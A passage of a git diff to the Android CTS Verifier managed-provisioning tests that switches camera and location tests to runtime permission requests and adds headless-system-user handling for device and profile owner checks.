 import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY;
 
+import android.Manifest;
 import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
@@ -27,6 +28,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
@@ -34,6 +36,9 @@
 import android.provider.MediaStore;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+import androidx.core.app.ActivityCompat;
+import androidx.core.content.ContextCompat;
 import androidx.core.content.FileProvider;
 import androidx.core.util.Pair;
 
@@ -53,7 +58,7 @@
  * Note: We have to use a test activity because cross-profile intents only work for activities.
  */
 public class ByodHelperActivity extends LocationListenerActivity
-        implements DialogCallback {
+        implements DialogCallback, ActivityCompat.OnRequestPermissionsResultCallback {
 
     static final String TAG = "ByodHelperActivity";
 
@@ -167,6 +172,11 @@
     private static final int NOTIFICATION_ID = 7;
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
 
+    private static final int EXECUTE_IMAGE_CAPTURE_TEST = 1;
+    private static final int EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST = 2;
+    private static final int EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST = 3;
+    private static final int EXECUTE_LOCATION_UPDATE_TEST = 4;
+
     private NotificationManager mNotificationManager;
     private Bundle mOriginalRestrictions;
 
@@ -274,40 +284,25 @@
                             IntentFiltersTestHelper.FLAG_INTENTS_FROM_MANAGED);
             setResult(intentFiltersSetForManagedIntents? RESULT_OK : RESULT_FAILED, null);
         } else if (action.equals(ACTION_CAPTURE_AND_CHECK_IMAGE)) {
-            // We need the camera permission to send the image capture intent.
-            grantCameraPermissionToSelf();
-            Intent captureImageIntent = getCaptureImageIntent();
-            Pair<File, Uri> pair = getTempUri("image.jpg");
-            mImageFile = pair.first;
-            mImageUri = pair.second;
-            captureImageIntent.putExtra(MediaStore.EXTRA_OUTPUT, mImageUri);
-            if (captureImageIntent.resolveActivity(getPackageManager()) != null) {
-                startActivityForResult(captureImageIntent, REQUEST_IMAGE_CAPTURE);
+            if (hasCameraPermission()) {
+                startCaptureImageIntent();
             } else {
-                Log.e(TAG, "Capture image intent could not be resolved in managed profile.");
-                showToast(R.string.provisioning_byod_capture_media_error);
-                finish();
+                requestCameraPermission(EXECUTE_IMAGE_CAPTURE_TEST);
             }
             return;
         } else if (action.equals(ACTION_CAPTURE_AND_CHECK_VIDEO_WITH_EXTRA_OUTPUT) ||
                 action.equals(ACTION_CAPTURE_AND_CHECK_VIDEO_WITHOUT_EXTRA_OUTPUT)) {
-            // We need the camera permission to send the video capture intent.
-            grantCameraPermissionToSelf();
-            Intent captureVideoIntent = getCaptureVideoIntent();
-            int videoCaptureRequestId;
+            final int testRequestCode;
             if (action.equals(ACTION_CAPTURE_AND_CHECK_VIDEO_WITH_EXTRA_OUTPUT)) {
-                mVideoUri = getTempUri("video.mp4").second;
-                captureVideoIntent.putExtra(MediaStore.EXTRA_OUTPUT, mVideoUri);
-                videoCaptureRequestId = REQUEST_VIDEO_CAPTURE_WITH_EXTRA_OUTPUT;
+                testRequestCode = EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST;
             } else {
-                videoCaptureRequestId = REQUEST_VIDEO_CAPTURE_WITHOUT_EXTRA_OUTPUT;
+                testRequestCode = EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST;
             }
-            if (captureVideoIntent.resolveActivity(getPackageManager()) != null) {
-                startActivityForResult(captureVideoIntent, videoCaptureRequestId);
+
+            if (hasCameraPermission()) {
+                startCaptureVideoActivity(testRequestCode);
             } else {
-                Log.e(TAG, "Capture video intent could not be resolved in managed profile.");
-                showToast(R.string.provisioning_byod_capture_media_error);
-                finish();
+                requestCameraPermission(testRequestCode);
             }
             return;
         } else if (action.equals(ACTION_CAPTURE_AND_CHECK_AUDIO)) {
@@ -356,7 +351,11 @@
                         DeviceAdminTestReceiver.getReceiverComponentName(), restriction);
             }
         } else if (action.equals(ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES)) {
-            handleLocationAction();
+            if (hasLocationPermission()) {
+                handleLocationAction();
+            } else {
+                requestLocationPermission(EXECUTE_LOCATION_UPDATE_TEST);
+            }
             return;
         } else if (action.equals(ACTION_NOTIFICATION)) {
             showNotification(Notification.VISIBILITY_PUBLIC);
@@ -394,6 +393,40 @@
         finish();
     }
 
+    private void startCaptureVideoActivity(int testRequestCode) {
+        Intent captureVideoIntent = getCaptureVideoIntent();
+        int videoCaptureRequestId;
+        if (testRequestCode == EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST) {
+            mVideoUri = getTempUri("video.mp4").second;
+            captureVideoIntent.putExtra(MediaStore.EXTRA_OUTPUT, mVideoUri);
+            videoCaptureRequestId = REQUEST_VIDEO_CAPTURE_WITH_EXTRA_OUTPUT;
+        } else {
+            videoCaptureRequestId = REQUEST_VIDEO_CAPTURE_WITHOUT_EXTRA_OUTPUT;
+        }
+        if (captureVideoIntent.resolveActivity(getPackageManager()) != null) {
+            startActivityForResult(captureVideoIntent, videoCaptureRequestId);
+        } else {
+            Log.e(TAG, "Capture video intent could not be resolved in managed profile.");
+            showToast(R.string.provisioning_byod_capture_media_error);
+            finish();
+        }
+    }
+
+    private void startCaptureImageIntent() {
+        Intent captureImageIntent = getCaptureImageIntent();
+        Pair<File, Uri> pair = getTempUri("image.jpg");
+        mImageFile = pair.first;
+        mImageUri = pair.second;
+        captureImageIntent.putExtra(MediaStore.EXTRA_OUTPUT, mImageUri);
+        if (captureImageIntent.resolveActivity(getPackageManager()) != null) {
+            startActivityForResult(captureImageIntent, REQUEST_IMAGE_CAPTURE);
+        } else {
+            Log.e(TAG, "Capture image intent could not be resolved in managed profile.");
+            showToast(R.string.provisioning_byod_capture_media_error);
+            finish();
+        }
+    }
+
     private void startInstallerActivity(String pathToApk) {
         // Start the installer activity until this activity is rendered to workaround a glitch.
         mMainThreadHandler.post(() -> {
@@ -552,10 +585,73 @@
         }
     }
 
-    private void grantCameraPermissionToSelf() {
-        mDevicePolicyManager.setPermissionGrantState(mAdminReceiverComponent, getPackageName(),
-                android.Manifest.permission.CAMERA,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+    private boolean hasCameraPermission() {
+        return ContextCompat.checkSelfPermission(this, android.Manifest.permission.CAMERA)
+                == PackageManager.PERMISSION_GRANTED;
+    }
+
+    private void requestCameraPermission(int requestCode) {
+        ActivityCompat.requestPermissions(this, new String[]{android.Manifest.permission.CAMERA},
+                requestCode);
+    }
+
+    private boolean hasLocationPermission() {
+        return ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
+                == PackageManager.PERMISSION_GRANTED;
+    }
+
+    private void requestLocationPermission(int requestCode) {
+        ActivityCompat.requestPermissions(this,
+                new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
+                requestCode);
+    }
+
+    /**
+     * Launch the right test based on the request code, after validating the right permission
+     * has been granted.
+     */
+    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
+            @NonNull int[] grants) {
+        // Test that the right permission was granted.
+        switch(requestCode) {
+            case EXECUTE_IMAGE_CAPTURE_TEST:
+            case EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST:
+            case EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST:
+                if (!permissions[0].equals(android.Manifest.permission.CAMERA)
+                        || grants[0] != PackageManager.PERMISSION_GRANTED) {
+                    Log.e(TAG, "The test needs camera permission.");
+                    showToast(R.string.provisioning_byod_capture_media_error);
+                    finish();
+                    return;
+                }
+                break;
+            case EXECUTE_LOCATION_UPDATE_TEST:
+                if (!permissions[0].equals(Manifest.permission.ACCESS_FINE_LOCATION)
+                        || grants[0] != PackageManager.PERMISSION_GRANTED) {
+                    Log.e(TAG, "The test needs location permission.");
+                    showToast(R.string.provisioning_byod_location_mode_enable_missing_permission);
+                    finish();
+                    return;
+                }
+                break;
+        }
+
+        // Execute the right test.
+        switch (requestCode) {
+            case EXECUTE_IMAGE_CAPTURE_TEST:
+                startCaptureImageIntent();
+                break;
+            case EXECUTE_VIDEO_CAPTURE_WITH_EXTRA_TEST:
+            case EXECUTE_VIDEO_CAPTURE_WITHOUT_EXTRA_TEST:
+                startCaptureVideoActivity(requestCode);
+                break;
+            case EXECUTE_LOCATION_UPDATE_TEST:
+                handleLocationAction();
+                break;
+            default:
+                Log.e(TAG, "Unknown action.");
+                finish();
+        }
     }
 
     private void sendIntentInsideChooser(Intent toSend) {
@@ -566,21 +662,6 @@
     }
 
     @Override
-    protected void handleLocationAction() {
-        // Grant the locaiton permission to the provile owner on cts-verifier.
-        // The permission state does not have to be reverted at the end since the profile onwer
-        // is going to be deleted when BYOD tests ends.
-        grantLocationPermissionToSelf();
-        super.handleLocationAction();
-    }
-
-    private void grantLocationPermissionToSelf() {
-        mDevicePolicyManager.setPermissionGrantState(mAdminReceiverComponent, getPackageName(),
-                android.Manifest.permission.ACCESS_FINE_LOCATION,
-                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    @Override
     public void onDialogClose() {
         finish();
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
index 8f4b9ac..3242893 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodProvisioningTestActivity.java
@@ -15,12 +15,11 @@
  */
 package com.android.cts.verifier.managedprovisioning;
 
-import android.app.admin.DevicePolicyManager;
 import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Intent;
-import android.graphics.Color;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.PersistableBundle;
@@ -39,12 +38,6 @@
 
         final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
 
-        Intent colorIntent = new Intent(this, ProvisioningStartingActivity.class)
-                .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_MAIN_COLOR, Color.GREEN);
-        adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomColor",
-                        R.string.provisioning_tests_byod_custom_color,
-                        R.string.provisioning_tests_byod_custom_color_info,
-                        new ButtonInfo(R.string.go_button_text, colorIntent)));
         adapter.add(Utils.createInteractiveTestItem(this, "BYOD_CustomImage",
                         R.string.provisioning_tests_byod_custom_image,
                         R.string.provisioning_tests_byod_custom_image_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..7a24c09 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -17,7 +17,6 @@
 package com.android.cts.verifier.managedprovisioning;
 
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
-import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
 import static android.app.admin.DevicePolicyManager.MAKE_USER_EPHEMERAL;
 import static android.app.admin.DevicePolicyManager.SKIP_SETUP_WIZARD;
 
@@ -48,6 +47,7 @@
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Toast;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.R;
 
 import java.io.File;
@@ -186,8 +186,8 @@
         super.onCreate(savedInstanceState);
         final Intent intent = getIntent();
         try {
-            mDpm = (DevicePolicyManager) getSystemService(
-                    Context.DEVICE_POLICY_SERVICE);
+            mDpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                    DeviceAdminTestReceiver.class);
             mUm = (UserManager) getSystemService(Context.USER_SERVICE);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
             final String command = getIntent().getStringExtra(EXTRA_COMMAND);
@@ -269,10 +269,20 @@
                 } break;
                 case COMMAND_REMOVE_DEVICE_OWNER: {
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        Log.e(TAG, COMMAND_REMOVE_DEVICE_OWNER + ": " + getPackageName()
+                                + " is not DO for user " + getUserId());
                         return;
                     }
                     clearAllPoliciesAndRestrictions();
                     mDpm.clearDeviceOwnerApp(getPackageName());
+
+                    // TODO(b/179100903): temporarily removing PO, should be done automatically
+                    if (UserManager.isHeadlessSystemUserMode()) {
+                        Log.i(TAG, "Disabling PO on user " + getUserId());
+                        DevicePolicyManager localDpm = getSystemService(DevicePolicyManager.class);
+                        localDpm.clearProfileOwner(mAdmin);
+                    }
+
                 } break;
                 case COMMAND_REQUEST_BUGREPORT: {
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
@@ -513,11 +523,13 @@
     }
 
     private void installHelperPackage() throws Exception {
+        LogAndSelfUnregisterBroadcastReceiver.register(this, ACTION_INSTALL_COMPLETE);
         final PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
         final PackageInstaller.Session session = packageInstaller.openSession(
                 packageInstaller.createSession(new PackageInstaller.SessionParams(
                         PackageInstaller.SessionParams.MODE_FULL_INSTALL)));
         final File file = new File(HELPER_APP_LOCATION);
+        Log.i(TAG, "installing helper package from " + file);
         final InputStream in = new FileInputStream(file);
         final OutputStream out = session.openWrite("CommandReceiverActivity", 0, file.length());
         final byte[] buffer = new byte[65536];
@@ -528,15 +540,20 @@
         session.fsync(out);
         in.close();
         out.close();
-        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+        session.commit(PendingIntent
+                .getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE),
+                        PendingIntent.FLAG_MUTABLE_UNAUDITED)
                 .getIntentSender());
     }
 
     private void uninstallHelperPackage() {
+        LogAndSelfUnregisterBroadcastReceiver.register(this, ACTION_UNINSTALL_COMPLETE);
+        PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
+        Log.i(TAG, "Uninstalling package " + HELPER_APP_PKG + " using " + packageInstaller);
         try {
-            getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
-                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
-                            .getIntentSender());
+            packageInstaller.uninstall(HELPER_APP_PKG, PendingIntent.getBroadcast(this,
+                    /* requestCode= */ 0, new Intent(ACTION_UNINSTALL_COMPLETE),
+                    PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender());
         } catch (IllegalArgumentException e) {
             // The package is not installed: that's fine
         }
@@ -573,12 +590,16 @@
         mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
         mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
         mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
-        mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
         mDpm.setStartUserSessionMessage(mAdmin, null);
         mDpm.setEndUserSessionMessage(mAdmin, null);
         mDpm.setLogoutEnabled(mAdmin, false);
 
         uninstallHelperPackage();
+
+        // Must wait until package is uninstalled to reset affiliation ids, otherwise the package
+        // cannot be removed on headless system user mode (as caller must be an affiliated PO)
+        mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
+
         removeManagedProfile();
         getPackageManager().setComponentEnabledSetting(
                 EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index c43bd5d..58cf129 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -32,13 +32,18 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.util.Log;
 
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+import com.android.compatibility.common.util.enterprise.DeviceAdminReceiverUtils;
 import com.android.cts.verifier.R;
 
 import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.function.Consumer;
 
 /**
@@ -65,6 +70,26 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+        if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(): user=" + context.getUserId() + ", action=" + action);
+
+        // Must set affiliation on headless system user, otherwise some operations in the current
+        // user (which is PO) won't be allowed (like uininstalling a package)
+        if (ACTION_DEVICE_ADMIN_ENABLED.equals(action) && UserManager.isHeadlessSystemUserMode()) {
+            Set<String> ids = new HashSet<>();
+            ids.add("affh!");
+            Log.i(TAG, "Setting affiliation ids to " + ids);
+            getManager(context).setAffiliationIds(getWho(context), ids);
+        }
+
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onProfileProvisioningComplete(Context context, Intent intent) {
         Log.d(TAG, "Provisioning complete intent received");
         setupProfile(context);
@@ -120,7 +145,9 @@
 
             bindPrimaryUserService(context, iCrossUserService -> {
                 try {
-                    iCrossUserService.switchUser(Process.myUserHandle());
+                    UserHandle userHandle = Process.myUserHandle();
+                    Log.d(TAG, "calling switchUser(" + userHandle + ")");
+                    iCrossUserService.switchUser(userHandle);
                 } catch (RemoteException re) {
                     Log.e(TAG, "Error when calling primary user", re);
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index ddf5e0c..cc2131b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -21,16 +21,17 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.app.admin.DevicePolicyManager;
-import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
@@ -50,9 +51,12 @@
 
     private static final String ACTION_CHECK_DEVICE_OWNER =
             "com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER";
+    private static final String ACTION_CHECK_PROFILE_OWNER =
+            "com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER";
     static final String EXTRA_TEST_ID = "extra-test-id";
 
     private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
+    private static final String CHECK_PROFILE_OWNER_TEST_ID = "CHECK_PROFILE_OWNER";
     private static final String DEVICE_ADMIN_SETTINGS_ID = "DEVICE_ADMIN_SETTINGS";
     private static final String WIFI_LOCKDOWN_TEST_ID = WifiLockdownTestActivity.class.getName();
     private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
@@ -82,12 +86,17 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        // Tidy up in case previous run crashed.
-        new ByodFlowTestHelper(this).tearDown();
+        if (!UserManager.isHeadlessSystemUserMode()) {
+            // TODO(b/177554984): figure out how to use it on headless system user mode - right now,
+            // it removes the current user on teardown
+
+            // Tidy up in case previous run crashed.
+            new ByodFlowTestHelper(this).tearDown();
+        }
 
         if (ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
-            DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(
-                    Context.DEVICE_POLICY_SERVICE);
+            DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                    DeviceAdminTestReceiver.class);
             if (dpm.isDeviceOwnerApp(getPackageName())) {
                 // Set DISALLOW_ADD_USER on behalf of ManagedProvisioning.
                 dpm.addUserRestriction(DeviceAdminTestReceiver.getReceiverComponentName(),
@@ -96,7 +105,21 @@
                         null, null);
             } else {
                 TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        getString(R.string.device_owner_incorrect_device_owner), null);
+                        getString(R.string.device_owner_incorrect_profile_owner, getUserId()),
+                        null);
+            }
+
+            finish();
+            return;
+        }
+        if (ACTION_CHECK_PROFILE_OWNER.equals(getIntent().getAction())) {
+            DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+            if (dpm.isProfileOwnerApp(getPackageName())) {
+                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                        null, null);
+            } else {
+                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                        getString(R.string.device_owner_incorrect_device_owner, getUserId()), null);
             }
             finish();
             return;
@@ -125,11 +148,19 @@
         setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
             @Override
             public void onClick(View v) {
+                StringBuilder builder = new StringBuilder();
+                if (UserManager.isHeadlessSystemUserMode()) {
+                    builder.append(getString(R.string.grant_headless_system_user_permissions));
+                }
+
+                String message = builder.append(getString(R.string.set_device_owner_dialog_text))
+                        .toString();
+                Log.i(TAG, message);
                 new AlertDialog.Builder(
                         DeviceOwnerPositiveTestActivity.this)
                         .setIcon(android.R.drawable.ic_dialog_info)
                         .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(R.string.set_device_owner_dialog_text)
+                        .setMessage(message)
                         .setPositiveButton(android.R.string.ok, null)
                         .show();
             }
@@ -139,12 +170,20 @@
 
     @Override
     public void finish() {
-        // If this activity was started for checking device owner status, then no need to do any
-        // tear down.
-        if (!ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
-            // Pass and fail buttons are known to call finish() when clicked,
-            // and this is when we want to remove the device owner.
-            startActivity(createTearDownIntent());
+        String action = getIntent().getAction();
+        switch(action) {
+            case ACTION_CHECK_DEVICE_OWNER:
+            case ACTION_CHECK_PROFILE_OWNER:
+                // If this activity was started for checking device / profile owner status, then no
+                // need to do any tear down.
+                Log.d(TAG, "NOT starting createTearDownIntent() due to " + action);
+                break;
+            default:
+                // Pass and fail buttons are known to call finish() when clicked,
+                // and this is when we want to remove the device owner.
+                Log.d(TAG, "Starting createTearDownIntent() due to " + action);
+                startActivity(createTearDownIntent());
+                break;
         }
         super.finish();
     }
@@ -154,6 +193,12 @@
                 R.string.device_owner_check_device_owner_test,
                 new Intent(ACTION_CHECK_DEVICE_OWNER)
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        if (UserManager.isHeadlessSystemUserMode()) {
+            adapter.add(createTestItem(this, CHECK_PROFILE_OWNER_TEST_ID,
+                    R.string.device_owner_check_profile_owner_test,
+                    new Intent(ACTION_CHECK_PROFILE_OWNER)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        }
 
         // device admin settings
         adapter.add(createInteractiveTestItem(this, DEVICE_ADMIN_SETTINGS_ID,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java
new file mode 100644
index 0000000..00438f9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LogAndSelfUnregisterBroadcastReceiver.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} used to receive just one intent - it just logs the intent and
+ * unregisters itself.
+ *
+ * <p>Useful for debugging purposes.
+ */
+public final class LogAndSelfUnregisterBroadcastReceiver extends BroadcastReceiver {
+
+    private static final String TAG = LogAndSelfUnregisterBroadcastReceiver.class.getSimpleName();
+
+    /**
+     * Registers the broadcast to receive the given intent.
+     */
+    public static void register(Context context, String action) {
+        context.getApplicationContext().registerReceiver(
+                new LogAndSelfUnregisterBroadcastReceiver(),
+                new IntentFilter(action));
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "onReceive(): " + intent);
+        context.getApplicationContext().unregisterReceiver(this);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
index 343820f..e60997e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
@@ -38,6 +38,7 @@
 import com.android.cts.verifier.R;
 
 import java.util.Arrays;
+
 public class PermissionLockdownTestActivity extends PassFailButtons.Activity
         implements RadioGroup.OnCheckedChangeListener {
     private static final String PERMISSION_APP_PACKAGE = "com.android.cts.permissionapp";
@@ -56,7 +57,7 @@
     static final String ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN
             = MANAGED_PROVISIONING_ACTION_PREFIX + "MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN";
 
-   // Permission grant states will be set on these permissions.
+    // Permission grant states will be set on these permissions.
     private static final String[] CONTACTS_PERMISSIONS = new String[] {
             android.Manifest.permission.READ_CONTACTS, android.Manifest.permission.WRITE_CONTACTS
     };
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
index d5e9fd0..2f26028 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/WifiLockdownTestActivity.java
@@ -16,9 +16,14 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WEP;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WPA;
+
 import android.app.AlertDialog;
 import android.content.Intent;
 import android.database.DataSetObserver;
+import android.net.wifi.WifiManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.view.View;
@@ -26,15 +31,12 @@
 import android.widget.EditText;
 import android.widget.RadioGroup;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+import com.android.compatibility.common.util.WifiConfigCreator;
 import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
-
-import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WPA;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_WEP;
 
 /**
  * Activity to test WiFi configuration lockdown functionality. A locked down WiFi config
@@ -59,7 +61,9 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mConfigCreator = new WifiConfigCreator(this);
+        WifiManager wifiManager = TestAppSystemServiceFactory.getWifiManager(this,
+                DeviceAdminTestReceiver.class);
+        mConfigCreator = new WifiConfigCreator(this, wifiManager);
         setContentView(R.layout.wifi_lockdown);
         setInfoResources(R.string.device_owner_wifi_lockdown_test,
                 R.string.device_owner_wifi_lockdown_info, 0);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
         NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
